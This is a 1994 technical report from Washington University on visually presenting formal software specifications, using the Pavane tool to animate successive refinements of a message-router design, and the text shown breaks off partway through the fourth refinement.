"google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44354, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44354, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44354, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44354, null]], "pdf_page_numbers": [[0, 2318, 1], [2318, 6014, 2], [6014, 9112, 3], [9112, 10723, 4], [10723, 12187, 5], [12187, 16080, 6], [16080, 19044, 7], [19044, 22028, 8], [22028, 25516, 9], [25516, 27521, 10], [27521, 28802, 11], [28802, 32070, 12], [32070, 35088, 13], [35088, 38520, 14], [38520, 41032, 15], [41032, 43358, 16], [43358, 44354, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44354, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
444315bec8368e7d8d3582581542b7996aad462e
|
Visual Presentation of Software Specifications and Designs
Authors: Gruia-Catalin Roman, Delbert Hart, and Charles Calkins
Formal methods hold the promise for high dependability in the design of critical software. However, software engineers who employ formal methods need to communicate their design decisions to users, customers, managers, and colleagues who may not be in a position to acquire a full understanding of the formal notation being used. Visualizations derived from formal specifications and designs must be able to convey the required information precisely and reliably without the use of formal notation. This paper discusses a design methodology which attempts to integrate a design methodology based upon specification and program refinement with a state-of-the-art approach to rapid visualization of executing programs. The emphasis is placed on how to convey graphically various kinds of formally-stated program properties. The illustrations are extracted from a case study involving the formal derivation of a message router. The ultimate goal is to identify issues fundamental to the use of visualization in conjunction with formal methods and to catalog techniques which achieve effective visual communication without compromising formal reasoning.
... Read complete abstract on page 2.
Follow this and additional works at: https://openscholarship.wustl.edu/cse_research
Part of the Computer Engineering Commons, and the Computer Sciences Commons
Visual Presentation of Software Specifications and Designs
**Complete Abstract:**
Formal methods hold the promise for high dependability in the design of critical software. However, software engineers who employ formal methods need to communicate their design decisions to users, customers, managers, and colleagues who may not be in a position to acquire a full understanding of the formal notation being used. Visualizations derived from formal specifications and designs must be able to convey the required information precisely and reliably without the use of formal notation. This paper discusses a design methodology which attempts to integrate a design methodology based upon specification and program refinement with a state-of-the-art approach to rapid visualization of executing programs. The emphasis is placed on how to convey graphically various kinds of formally-stated program properties. The illustrations are extracted from a case study involving the formal derivation of a message router. The ultimate goal is to identify issues fundamental to the use of visualization in conjunction with formal methods and to catalog techniques which achieve effective visual communication without compromising formal reasoning.
This technical report is available at Washington University Open Scholarship: https://openscholarship.wustl.edu/cse_research/359
Visual Presentation of
Software Specifications and Designs
Gruia-Catalin Roman
Delbert Hart
Charles Calkins
WUCS-94-08
Revised August 1994
Department of Computer Science
Washington University
Campus Box 1045
One Brookings Drive
Saint Louis, MO 63130-4899
Abstract
Formal methods hold the promise for high dependability in the design of critical software. However, software engineers who employ formal methods need to communicate their design decisions to users, customers, managers, and colleagues who may not be in a position to acquire a full understanding of the formal notation being used. Visualizations derived from formal specifications and designs must be able convey the required information precisely and reliably without the use of formal notation. This paper discusses a design methodology which attempts to integrate a design methodology based upon specification and program refinement with a state-of-the-art approach to rapid visualization of executing programs. The emphasis is placed on how to convey graphically various kinds of formally-stated program properties. The illustrations are extracted from a case study involving the formal derivation of a message router. The ultimate goal is to identify issues fundamental to the use of visualization in conjunction with formal methods and to catalog techniques which achieve effective visual communication without compromising formal reasoning.
Correspondence: All communications regarding this paper should be addressed to
Dr. Catalin Roman
Department of Computer Science
Washington University
Campus Box 1045
One Brookings Drive
Saint Louis, MO 63130-4899
office: (314) 935-6190
secretary: (314) 935-6160
fax: (314) 935-7302
roman@cs.wustl.edu
1. Introduction
As amply demonstrated by two recently published surveys [6, 12], program visualization is an area of significant research growth. Although to date its impact on software development methods has been relatively small, our own experiments identify requirements validation, rapid prototyping, training, monitoring, and testing as areas of immediate, high-payoff potential. It is less clear, however, what role program visualization ought to play during design. Since program visualization does not come for free, one must ensure that the benefits outweigh the potential costs associated with constructing visualizations. Predefined visualizations practically eliminate the construction costs but may not be responsive to the needs of a specific design effort. Rapid visualization techniques which allow one to develop custom visualizations with minimal effort offer an attractive alternative. This idea was the key motivating factor behind the development of Pavane [7] and the use of declarative visualization as its foundation. Experiments with Pavane showed that programmers with no prior visualization experience can construct relatively sophisticated program visualizations within half a day. Despite this, we believe that much more drastic reductions in the visualization development effort must be achieved before custom visualizations are likely to impact to a significant degree the typical design process.
There is, however, one design area where visualization may prove to be not only a cost-saving technique but a basic necessity. What we have in mind is the use of formal methods in the development of high-dependability software involved in critical applications. Formal methods involve specialized expertise not widely available. Yet, the designs must still be scrutinized by customers, users, managers, and colleagues who may not be in a position to become versed in the use of formal notation. Concrete visual representations of the evolving design could become a practical communication medium between designers and the rest of the community. This is not actually a new idea. Architects make use of scale models and elevation views to explain projects, gain approval, and to explore options. In this paper we investigate ways of incorporating a similar visual presentation strategy into a formal design process.
A particularly attractive formal technique is program derivation. It entails the application of a series of correctness-preserving transformations to some formal description of the problem to be solved. In sequential programming, where the approach enjoys a long standing and prestigious tradition, the starting point for the derivation is a pair of assertions. In concurrent programming the starting point may be either a program or a set of assertions about some computation. In one case, the program is gradually transformed into another program having certain more desirable properties, e.g., it can be implemented efficiently on a particular architecture; in the other case, the initial
abstract specification is gradually refined up to a point when it is sufficiently concrete as to have a trivial encoding into some target programming language.
All the visualizations presented in this paper have been produced using Pavane. They involve one or more worlds (windows) of three-dimensional geometric objects, full-color, and smooth animation. Each visualization is constructed by writing a set of rules that map program states to graphical representations. Pavane supports rapid visualization of C and Swarm [8] programs. Swarm employs tuple-based communication à la Linda [2] and has a UNITY-style proof logic [3] which may be used to carry out specification refinements or prove Swarm programs correct. In addition, state changes in a Swarm program are automatically supplied to Pavane thus obviating any need to modify the program being visualized. These considerations make Swarm the language of choice for our work on formal design methods. The Swarm logic is used to build the specifications and carry out the refinements, the Swarm programming notation is used to write abstract programs that satisfy the specifications, and Pavane is used to construct the visualizations that convey the design decisions associated with each refinement step.
The specific case study presented in this paper involves a message router. In the simplest terms, the message router is a device which accepts messages on a number of input lines and delivers them to its output lines. Each message consists of a header, one or more body packets, and a tail. The header contains the packet destination. Packet ordering within a message is preserved, packets belonging to different messages are not interleaved, and messages from the same input line going to the same output line are not reordered. A full formal derivation of a message router design employing wormhole routing in a cross-bar switch [4] already existed prior to the start of this work. The general question we try to address in this paper is how can the various stages of the design be presented visually. We used the case study to identify challenging issues and helpful techniques.
The remainder of the paper is organized as follows. Section 2 provides an informal overview of our design methodology and the application domains where it was used. Section 3 reviews very briefly: the UNITY-logic to help the reader understand the basic nature of the formal specifications we employ; the Swarm notation used to construct abstract programs; and Pavane’s rule based notation which facilitates the declarative specification of three-dimensional, full-color, smoothly animated graphical representations of executing programs. Section 4 outlines the router design (stage by stage) and uses as a backdrop against which to discuss a variety of useful visualization techniques. Brief concluding remarks follow in Section 5.
2. Design Methodology Overview
Central to our research is the idea that the lessons we have learned from exercises in program derivation can reshape the process by which we design concurrent systems. Critics of formal derivation make the claim that such techniques are tedious and costly and require highly-specialized skills and training. We contend that the tedium is not intrinsic to program derivation and that costs relate to the degree of reliability one attempts to achieve. We do not dispute, however, the fact that the application of formal techniques demands special skills. For this reason we are exploring a scenario involving designers comfortable with formal specifications who navigate expeditiously through the refinement process, providing some formal justification for each step along the way but not necessarily slowing down to carry out all the proofs. One important practical objective of our work is to understand better what combination of skills is essential to the successful application of program derivation on industrial-grade problems by a group of highly-trained specialists. To accomplish this we focused our attention on refinement methods and visual communication techniques. The former are the intellectual blueprint for the way in which design is approached and managed; the latter provide the means by which design decisions expressed in rigorous formal notation may be communicated to a broad audience and project progress may be monitored. These two issues and their interplay may not capture all that is needed to make industrial application of formal derivation possible but they are central such an undertaking.
**Formal derivation.** Program derivation is a technique for generating correct programs from some initial formal specification by means of stepwise refinement. The initial specification is usually highly abstract. Each refinement produces an increasingly more concrete and detailed specification with the final result being a compilable program. Successive specifications along the refinement path relate to each other in terms of some implements relation. Generally, specifications are expressed in a logic-based notation while programs are given in terms of a programming language. As many authors have noted, the distinction between the two is merely pragmatic. A program is also a specification, one which has an efficient implementation and exhibits a low level of abstraction. Because many of the "desired program characteristics" cannot be expressed formally, program derivation is aided by criteria which are entirely outside the logic and are supplied by the designer as "informal motivation" for the individual refinement steps.
Previous approaches to formal derivation of concurrent programs can be classified into two broad categories. The first category includes methods which emphasize specification refinement with the program being generated at the very last step as a trivial coding exercise, e.g., [3]. The second category includes methods that start with an initial program which is subjected to a series of transformations which are guaranteed to preserve program correctness until a program having all the
desired (informally stated) characteristics is obtained, e.g., [1]. In our experience, mixed specification and program refinement (Figure 1) offers some important practical advantages. Working on formal derivation of concurrent rule-based systems [10], we found it helpful to combine specification refinement and program refinement. Specification refinement was used to generate an initial program correct in all respects except that it was non-terminating. During program refinement we applied a series of optimizations which led to proper termination, to the elimination of operations too expensive for the target implementation, and to the elimination of busy-wait cycles. Similarly, during our investigation into architecture-driven refinement [11] we found it beneficial to generate initially a program which satisfies all functional requirements but fails to meet many of the architectural constraints. Subsequent program transformations lead to a program that satisfies both. In both areas we employed a UNITY-like specification refinement and generated Swarm programs which (when needed) were transformed mechanically to the target language.
---
**Figure 1.** Design methodology overview and areas of immediate applicability for program visualization.
Visualization. Program visualization is defined as the graphical presentation, monitoring, and exploration of programs. While, in general, program visualization includes the graphical presentation of code, our interest in visualization is centered around abstract formal properties of programs. In large concurrent systems, code visualization is of limited value when trying to explain or explore the system's behavior. The complexity of the visualization overwhelms both the screen real estate and the cognitive capacity of the viewer. Furthermore, operational views of the system behavior convey the mechanics of the computation and not its rationale. The viewer may be able to observe every aspect of a program but still fail to understand its behavior. Consequently, our methodology relies on custom-built visualizations which capture formally stated assertions about the program being derived. To accomplish this, one needs access to rapid visualization capabilities and an innovative approach to visual representation of concurrent computations. The former is provided by Pavane [7, 12] while the latter is the research subject of this paper.
Pavane visualizations span multiple windows each containing a three-dimensional, full-color world of geometric objects. The scene being displayed is controlled directly by the state of the program being visualized. Each state change triggers a change of scene. The transitions from one scene to the next may involve highly synchronized and complex animations. The scenes capture abstract program properties. The animations are meant to enhance the aesthetic value of the presentation and to provide a visual commentary on the behavior of the program by focusing attention on specific objects or events or relations among them. In Pavane, the scenes and the animations are constructed by defining mappings from program states to sets of three dimensional objects from a predefined visual vocabulary, objects whose attributes can be a function of time (actually frame number). Each state transition is followed by the application of the mapping which, in turn, is followed by the display of the multiple frames required to accomplish a smooth transition from the previous to the new scene, i.e., an animation. The overall mapping is generally a composition of several simpler mappings. Each mapping is specified using a rule-based notation which is sufficiently powerful to allow for the computation of arbitrary history variables and fixpoints.
The typical program visualization process entails three steps. First, a program is constructed without any consideration being given to visualization. Since Pavane can visualize only programs, specifications are approached indirectly—by constructing a highly abstract program that satisfies the specification and visualizing the properties the program is supposed to satisfy. Next, some property of interest is selected for visualization. The property may emerge during attempts to formally verify the program or may be present in its specification. Other times, the designer may simply want to explore visually the validity of some hypothesis or understand some processing (even performance) pattern that might suggest a simpler formulation of some complex property. A tentative graphical
representation is selected next and a Pavane mapping is constructed. After some experimentation and a preliminary evaluation of the suitability of the selected graphical representation, full animation is added.
Pavane's effectiveness as a rapid visualization tool has been evaluated in a variety of settings (Figure 1): scientific visualization, algorithm animation, rapid prototyping, requirements validation, program testing, debugging, and instruction. However, the question of how to integrate visualization into the design process is the most challenging task we have attempted to date.
3. Specification Methods and Notation
A distinctive feature of our strategy for integrating formal methods and visualization is the synergy among the program specification, programming notation, and visualization method. They all deal with global abstract views of concurrent programs and employ a tuple-based notation. Moreover, both the specification and the visualization methods are state-based and non-operational. The UNITY-logic involves assertions over the global state of the computation and the lowest level predicates look like tuples, predicate name and arguments. In Swarm, data and actions (called transactions) assume a tuple format and coexist in a global tuple-space call the dataspace. Declarative visualization maps program states, sets of Swarm tuples, to graphical objects which also assume a tuple format. In this section we provide a very brief overview of the three models and associated notations.
3.1. Program Properties
The basic program specification method we employ is due to Chandy and Misra [3]. It is a specialization of the temporal logic used to derive and verify UNITY programs—henceforth called UNITY logic or simply UNITY. As is the case with other logic-based models, the program behavior is given in terms of two classes of properties: safety and progress. Safety properties specify that certain actions (i.e., state transitions) are not possible, while progress properties specify that certain actions will eventually take place. In UNITY, the basic safety property is the unless relation. The formula \( p \) unless \( q \) states that if the program enters a state in which the predicate \( p \) is true and \( q \) is false, every program action will either preserve \( p \) or establish the predicate \( q \). All other safety properties, such as invariant, constant, and stable are defined in terms of unless. The basic progress properties are ensures and leads-to (written \( \rightarrow \)). The formula \( p \) ensures \( q \) states that \( p \) unless \( q \) holds and, in addition, there is some action which establishes \( q \), an action the program is guaranteed to take in a bounded number of steps. Similarly, the formula \( p \rightarrow q \) states that if the program enters a state in which \( p \) is true, the program will eventually enter a state in which \( q \) holds, although \( p \) need not remain true until \( q \) becomes true.
For illustration purposes, let us consider a program in which data is moving from one register (say i) to the next (say i+1) in a finite length queue. Using UNITY, two aspects of the basic queue behavior can be stated simply as
\[ \text{reg}(i, x) \text{ unless } \text{reg}(i, \text{nil}) \land \text{reg}(i+1, x) \]
\[ \text{reg}(i, x) \rightarrow \text{reg}(i+1, x) \]
where \( i \) and \( x \) are universally quantified by convention; the first formula prevents the register \( i \) from receiving a new value before \( x \) is passed on to the next register in the queue and imposes an asynchronous movement of values by requiring a register to become empty (\textit{nil} value) at the time its value is transferred to its successor; the second formula introduces a requirement that values must actually move along the queue.
UNITY specifications are simple and intuitive. There are few modeling artifacts introduced by the method, the state representation is direct, and the careful and creative use of auxiliary variables allows very sophisticated problems to have simple behavior specifications. Reasoning about global program states is more intuitive than reasoning about execution sequences. The UNITY logic may be used both as a specification language (during derivation) and as a proof logic (during verification). Although this paper avoids showing the formal specifications, familiarity with these concepts is necessary to appreciate the issues facing the designer who is attempting to confer graphical representations to such properties.
3.2. Programs
The only distinction between the UNITY and Swarm logics is in the way unless and ensures properties are proved using the program text. Since specification refinement involves neither writing nor proving programs, the target of the derivation may be either a UNITY or a Swarm program—UNITY is a proper subset of Swarm, subject to minor mechanical translation. Distinctions become important only when program refinements are involved. UNITY assumes that a program consists of a fixed finite set of variables and statements and that each statement is a conditional multiple assignment—thus the state is captured by the current values of the variables and an action corresponds to the execution of one of the statements. Swarm [8] and its logic [5, 9], has shown that the applicability of the UNITY logic can be extended to models which exhibit a very different set of characteristics: content-based access to data as in rule-based programming and Linda, dynamic creation of statements and data, and dynamic changes in the mode of execution (synchronous, asynchronous, and mixed).
Since the syntax of Swarm is very close to logical notation, many specifications have obvious representations as abstract Swarm programs, a fact which enables us to execute specifications with minimal effort. To illustrate this, we present the definition of a simple Swarm transaction Move(i) which forwards data along the queue discussed earlier. In Swarm, this requires one to create a parameterized transaction class called Move (shown below) and to place all the needed transaction instances in the dataspase (at initialization or dynamically):
\[
\text{Move}(i) =
\]
\[
x : \text{reg}(i,x) \land \text{reg}(i+1,\text{nil}) \\
\rightarrow \text{reg}(i,x) \dagger, \text{reg}(i+1,\text{nil}) \dagger, \text{reg}(i,\text{nil}), \text{reg}(i+1,x) \\
\| \quad \text{true} \\
\rightarrow \text{Move}(i)
\]
According to the definition above, a transaction Move(i) consists of two subtransactions that are executed in parallel. The first one, involves a query which extracts the current value \(x\) for register \(i\) and checks if the register \(i+1\) is empty. If the query is successful the associated action part (following "\(\rightarrow\)") is executed by first deleting from the dataspase the tuples holding the old register values (marked by a dagger "\(\dagger\)") and inserting tuples representing the new register states. If the query fails the first subtransaction has no effect. The query of the second subtransaction (following "\(\|\)") always succeeds and recreates the transaction instance which otherwise would be implicitly deleted from the dataspase as soon as it is executed. Transactions are selected fairly and parallel execution (which extends to groups of transactions) follows a basic three-phase pattern: query evaluations precede data-tuple deletions which, in turn, precede data-tuple and transaction insertions into the dataspase.
### 3.3. Visualizations
In Pavane, visualizations are implemented as mappings from the state of the program to a collection of graphical objects in a four-dimensional space — the three spatial dimensions plus time. For notational convenience, we express both the state of the underlying computation and the final set of four-dimensional graphical objects as collections of tuples, called respectively the state space and animation space of the visualization. The overall mapping from state space to animation space can be decomposed into a pipeline of any number of sub-mappings, with each intermediate mapping transforming one space into the next in the pipeline; each of these intermediate spaces is also a collection of tuples. Although the Pavane rules look very similar to Swarm transactions, the visualization semantics is radically different from the transaction execution semantics. Pavane assumes that the underlying computation progresses by means of a series of atomic transitions which
modify the state. After each transition, the visualization rules are re-applied to the new state and the resulting animation space is rendered.
To construct a very simple visualization of a program implementing the queue, we may want to represent an empty register as an unfilled square, a register holding some value as a filled square, and a \textit{Move} transaction as a line. The picture below shows three empty registers and reveals an initialization error—a missing transaction.
Only two trivial Pavane rules are required to construct this kind of picture
\textbf{DrawRegister} =
\begin{align*}
i, x & : \text{reg}(i,x) \\
\Rightarrow & \_cube(\_center:=[3*i,0,0], \_size:=1, \_fill:=(x\neq\text{nil}))
\end{align*}
\textbf{DrawPotentialFlow} =
\begin{align*}
i & : \text{Move}(i) \\
\Rightarrow & \_line(\_from:=[3*i,0,0], \_to:=[3*(i+1),0,0], \_chop:=0.5)
\end{align*}
The result of a rule application is the union of the results of every successful instantiation of each rule.
Adding animation is less trivial. The increase in the complexity of the rules is determined by the sophistication of the animation being constructed. For this example, a simple animation may involve reemphasizing the flow of data by showing a little ball that retraces the data movement to attract attention to a value which just changed registers instantaneously.
Only one rule would be required in this case
\textbf{DrawActualFlow} =
\begin{align*}
i, x & : \text{old.reg}(i,x) \land x\neq\text{nil} \land \text{reg}(i,\text{nil}) \land \text{old.reg}(i+1,\text{nil}) \land \text{reg}(i+1,x) \\
\Rightarrow & \_sphere(\_center:=\text{ramp}(0,[3*i,0,0],10,[3*(i+1),0,0]), \_size:=0.2, \_color:=[200,0,0])
\end{align*}
This rule is triggered whenever the register \( i \) is empty but was observed to be non-empty in the preceding state. A sphere whose center moves from one register to the next over ten video frames is generated. Note that for a correct program the query part of the Pavane rule is overspecified. It was designed, however, to ensure the detection of possible program errors—if a register is emptied under the wrong conditions no sphere is displayed!
As the rules above already suggest, the overall process of visualization is data-driven; the rendering computation must wait for data from the visualization computation, which in turn waits for data from the underlying computation. It is not, however, synchronous. The underlying computation is permitted to send state changes more rapidly than the visualization computation is able to process them, and similarly the visualization can send animation spaces faster than the renderer can translate them into images. The latter often happens, simply because the process of generating an image (and, more importantly, the comprehension of that image by the viewer) is much slower than the other two computations. If synchronous execution is desired, it can be requested when the computation is started; the underlying computation is then forced to wait for the rendering computation to complete the display of an animation space. This is particularly useful when contrasting two or more different visualizations by displaying them in separate windows, since synchronization guarantees that all the images represent the same state of the underlying computation.
Pavane's graphical model provides one or more three-dimensional "worlds", each containing a collection of graphical objects. The animator defines one "window" for each world; the window definition includes the world's properties (center, scaling, background color, and so forth), the properties of the screen window which will be opened (dimensions, position, etc.), and the types of transformations that the viewer is permitted to make. Subject to any such limitations that the animator requires, the viewer can examine each world "through" its window from any point in the world's coordinate system. The ability to use multiple windows is especially convenient when the effectiveness of two or more visualizations is being compared or when multiple properties of the same program need to be examined together.
Pavane has undergone many repeated developments and redesigns. It consists of a compiler for visualization rules, a display subsystem, and a number of run-time libraries for monitoring C and Swarm programs, for executing visualization rules, and for supporting the display process. The most recent version is written in C++ under UNIX and requires X Window System® support. The only component which is vendor dependent is the display subsystem which makes use of the Silicon Graphics® Graphics Library™ (GL).
4. Visualization Techniques
The discussion in this section is informal by intent as it is meant to be equally accessible to formalists and practitioners. No UNITY assertions, Swarm programs, or Pavane rules are shown. The initial specification of the router and the key refinements leading to the final design are presented in a summary form and used primarily as a backdrop against which we organize a discussion of techniques which we found helpful in the visualization of the router and of other programs as well. Special emphasis is placed on identifying general graphical representation principles and strategies that transcend the specifics of this particular case study. We also identify several problems for which we did not find a satisfactory solution yet. Furthermore, even though the full derivation of the router predates this case study, we went to a great effort to make sure that in visualizing each refinement we used only information available at that specific point in the design process.
4.1. Initial specification: A message router
We consider a communication network that connects \( N \) senders of messages to \( M \) receivers via a message router. Each sender is connected to one of the input ports of the router, and each receiver to one of the output ports. Each message is composed of a finite number of packets that can be of three different types: header, body, and tail. The header, which is the first packet of the message, contains the port address of the message destination. Each header is followed by one or more body packets which contain the actual data. Finally, the tail packet marks the end of the message. The externally observable behavior of the router is defined by the following requirements:
(R1) The value of the body packets must not be modified, but, for control purposes, the router may modify the value of the header and tail packets.
(R2) Packet ordering within a message must be preserved (at the receiver).
(R3) Messages from the same source going to the same destination must not be reordered (at the receiver).
(R4) Messages from different sources going to the same destination must not be interleaved (at the receiver).
(R5) Each packet that is sent must eventually be delivered to the intended receiver.
These five properties are ultimately captured by eleven formal assertions and a number of assorted definitions. Since Pavane can only visualize programs, the first step towards building a visualization is to generate a program \( P \) which embodies the initial specification \( S \). This needed intermediary step raises issues regarding the effort and accuracy associated with the approach. The cost of developing the program is minimal because Swarm is a very high level language allowing
arbitrary queries over the state space expressed in a notation similar to that used to write logical assertions. Accuracy is a more complicated issue. It is easy to guarantee that the program is correct but it is more difficult to make sure that all behaviors permitted by the specification are actually captured by the program. This can be a serious drawback if the program is used to explore the specifications but it is less of a problem when used to communicate ideas the designer explicitly decided to present. (Possible mechanical solutions for the former case are: to make the specifications executable or to work with program refinement.)
Figure 2. Basic visualization structure and controls.
Once the program is written one needs to decide on the desired visual representation and write Pavane rules that map the program state to the graphical objects on the screen (Figure 2). Smooth animation and other special effects are added to the rules once the basic representation is considered satisfactory. Although not a necessity, we find it convenient to allow the viewer to select from among a set of available visualizations during program execution—a rule selector window is constructed providing a list of visualizations, annotations explaining how they relate to the formal specifications, and buttons to turn them on and off. One visualization selector and set of rules was constructed for each specification generated during the router design. The visualization selectors listed all the
relevant formal properties and provided buttons that enabled the visualization of one desired property at a time. In addition, Pavane provides a standard set of 3D navigation controls.
This section, however, is not about the mechanics of visualization but about representation. We turn our attention next to the concepts we need to visualize and the methods that help us convey them graphically. To help the reader recall and refer to specific techniques we gave them names. Very few of these names enjoy general acceptance in the field now but, as the area matures, a standard terminology must eventually emerge and we hope that some of our terms will be part of it.
*Steel gray.* From the very start we realized that a single visualization able to capture all the important formal properties of the router is neither feasible nor desirable. Nevertheless, all the visualizations must contribute to a single unified mental picture and must relate easily to each other, especially when the visualization changes midstream. The solution was to create one single common reference point shared by all the visualizations, a mostly neutral image that provides a contextual framework on which to highlight other properties. In the case of the router the input and output queues readily suggest a simple rectangular structure for the router with the input queues on the left to imply a starting origin and the output queues at the top to hint at a sense of progress (Image 4.1a). We use shades of gray to allow the image to recede in the background and to lower the viewer's expectation in terms of the amount of information being communicated.
*Thin air.* In the steel gray image the messages look like nuts on a rod. What should happen when a message travels from input to output? One subtle point about the initial specification is that it defines only the behavior observable in the environment of the router and says nothing about how the router should be realized. Showing the router as a black box is not reasonable because the specification states that each packet is present some place at all times. Our approach is to show the presence of packets in the router while making clear that their behavior and existence there does not have the same reality as on the inputs and outputs. The router (Image 4.1a) exhibits no internal structure while packets float in thin air and bounce off the walls like elastic balls. The result is not suggestive of any design while the continued existence of packets is evident.
*Spot color.* Some of the formal properties are concerned with the structure of the messages and others with the ordering of packets. Because these properties apply to all the messages, there is a tendency to try to color code each message. This may create a pleasing image but it fails to focus the viewer's attention on anything in particular and provides more information than necessary. Such images require additional (unnecessary) oral explanations whose sole purpose is to force the viewer to concentrate on one particular aspect of the image, i.e., to ignore the rest. Take, for instance, the property that packets belonging to different messages are not interleaved (on output). One can think
of this property as a relation among all the messages but it is much more profitable to view it as a relation between one particular message and all the rest. This can be easily captured by assigning a color to one of the messages and leaving all the others gray. For reasons having to do with keeping the number of visualizations small, we opted to use spot colors also for the source and destination queues associated with the colorized message and to differentiate the header and the tail packets. Only when we want to show that ordering is preserved among messages that have the same source and destination we spot color a pair of messages (Image 4.1b).
**Event compression.** Most models of concurrency assume that atomic actions associated with a concurrent computation are executed serially although an actual system may schedule them in parallel if the resources are available and the observable effect is the same as some serial execution. The abstract program associated with the initial router specification, for instance, treats the movement of individual packets as separate atomic actions. The specification, however, does allow for several packets to move simultaneously. To actually capture this behavior in the program entails additional coding and performance costs. We found that one simple way to get around this added burden is to allow the program to take multiple steps which are visually captured as a single combined synchronous transition. One must exercise care not to create visual transitions that are not permitted by the specification. If individual atomic steps affect distinct graphical objects appearing in the visualization, it is relatively easy to combine them into a single visual transition thus offering the viewer the illusion of parallel or synchronous execution. It is possible, for instance, to advance by one position synchronously a whole set of adjacent packets located on the same input queue. The approach would not work, however, if the packet closest to the router advances two positions while the rest advance only one. In our case study the rule selector allows the viewer to choose between a serial execution and one involving combined presentation of multiple atomic actions.
**Free walk.** The last issue we faced in visualizing the initial specification was how to handle the nondeterministic behavior implicit in the specification. One option is to introduce randomness in the selection of the program statements. A second option is to involve the viewer in the choice of action to be executed next. We opted for the latter because it promotes active exploration of the program's behavior and also because Pavane already supports this kind of viewer control over the execution of Swarm programs (but not for C programs which are sequential).
These techniques were used extensively throughout the remainder of the case study and, as we continue looking at successive design refinements, we will try to showcase only those presentation methods that have not be discussed already in a previous section.
4.2. Refinement 1: Router topology
The first refinement defines the general topology of the router as a grid of \(N \times M\) switches. The \(N\) input lines and \(M\) output lines are thus extended inside the router. Each switch can receive packets from its left neighbor on the row or its bottom neighbor on the column, and can route them either to its right neighbor on the row or to its upper neighbor on the column, depending on the destination of the packets. So, to move from its source row to its destination column, each packet first travels along the row (one switch at a time) until it reaches the destination column, and then just moves up the column (also one switch at a time). Each row-column intersection has a switch that holds two registers and some yet to be specified control logic.
Continuity of structure. Visually, the steel gray representation is extended into the router. The thin air behavior is replaced by packet movement from one register to the next. A packet travels along the row up to the point when the destination column is reached. Then it moves from the current row register to column register on the row above and continues to travel along the column registers. It is important to exploit the viewer's familiarity with the earlier view of the router and its environment and extend the representation to include the new structural elements. This strategy can speed up understanding and reduce the amount of verbal explanations required to interpret the imagery. Since we try to reuse the context in successive refinements, this new view can be looked at in conjunction with the next refinement (Image 4.3a).
Scenario recycling. The essence of the first refinement is the extension of properties true outside the router to the router itself. Most formal assertions associated with Refinement 1 actually have forms identical to those of their counterparts in the initial specification. Consequently, it is not surprising that the presentation scenarios introduced earlier can be used again with the refined structure. This simplifies understanding and saves some of the effort involved in the development of visualization rules. While the program being visualized changed, many of the visualization rules can be reused.
4.3. Refinement 2: Arbitration logic
The second refinement provides additional details about the behavior of each single switch, by defining the mechanism that prevents messages from being interleaved along the columns. This can be done by associating two mutually exclusive signals—\(tum\) and \(up\)—with each switch. Signal \(tum\) prevents messages from moving through the switch along the column when a message is currently passing through the switch from the row to the column, and the other way around for the signal \(up\).
Image 3.3a Message path through the router (tracing)
Image 3.3b Message paths through the router (emaciation)
**Choreography.** The value of the signals is determined by the movement of the header and tail packets through each switch. This coupling between packet movement and signal changes can acquire a visual counterpart by carefully choreographing the timing of the corresponding changes in the image. A header reaching the destination column is involved in three transitions: arrival in the row register, the setting of the turn signal to true, and the transfer to the column register on the row above. These transitions are sequenced in this manner by the program and naturally appear as such in the animation. The tail packet, however, is required to reset the corresponding signal (turn or up) upon exiting the switch. Let's assume that the switch state is shown in terms of the paths currently open through it. Changing the switch configuration while the packet is moving or immediately after it stopped moving can be misleading by making the packet travel on an apparently non-existent line or by suggesting an ordering that does not exist. Our solution takes advantage of Pavane's fine grained synchronization capabilities by scheduling the change in the switch configuration to start at the time the tail packet is almost entering the next switch and to end at the same time as the packet movement.
**Tracing.** Many of the formal assertions associated with this refinement are invariants that relate the state of the switches to the distribution of packets across the router—along the path laying between the header and the tail all the switches must be properly set. We show this by simply coloring the path taken by the header of one particular message and by having the tail erase the color (Image 4.3a). This one single visualization covers a number of assertions each dealing with a distinct header/tail location pattern. The location patterns map visually to shapes of the color trace.
**Emaciation.** Throughout the case study we tried to keep visual representations simple through the frugal use of color. One other approach to simplification is to create more abstract representations. This is highly recommended when the viewer wants to see global patterns or relationships involving multiple objects. Such properties tend to correspond to formal assertions that are not part of the specification but can be derived from it. As an example, one may want to see the message traffic through the router. To do this we can reduce the router to a simple grid, represent messages by their headers (balls whose color indicates the destination column), and turn on the tracing mechanism for all messages in the router (Image 4.3b). The result is a trade-off between level of detail and volume of information.
### 4.4. Refinement 3: Fairness constraint
In the third refinement, we specify further the behavior of the switches by introducing a strong fairness constraint, i.e., the existence of a constant upper bound on the number of messages
that can block a particular message from passing through each switch. We choose a design in which a message waits for at most one other message to pass through the switch before it can proceed.
*Uncloaking.* To render the fair behavior we need to highlight to the user the conditions under which a message may be blocked and then show that this does not happen. Colorizing an arbitrary message is not useful here. The particular message may not enter in a situation where indefinite blocking occurs while other messages may be blocked without the viewer realizing it. The solution we adopted is to colorize all packets of a message whose header is blocked at a switch and remove the colorization as soon as packet moves on towards its destination. We also highlight the blocking message to show that the blocking message is making progress.
4.5. Refinement 4: Destination address
At this point in the design, each switch on the rows makes the decision to route messages either to the next switch on the row, or to the next switch on the column, by comparing the message destination to the number of the column it is located at. This implies that each switch has to know its location. The purpose of the fourth refinement is to eliminate this knowledge by using the value of the header packets. We make the value of each header packet decrease by one each time the packet passes through a switch along the row. Since the value is initially equal to the destination column, this implies that a message will have to take a turn when the value is equal to 1.
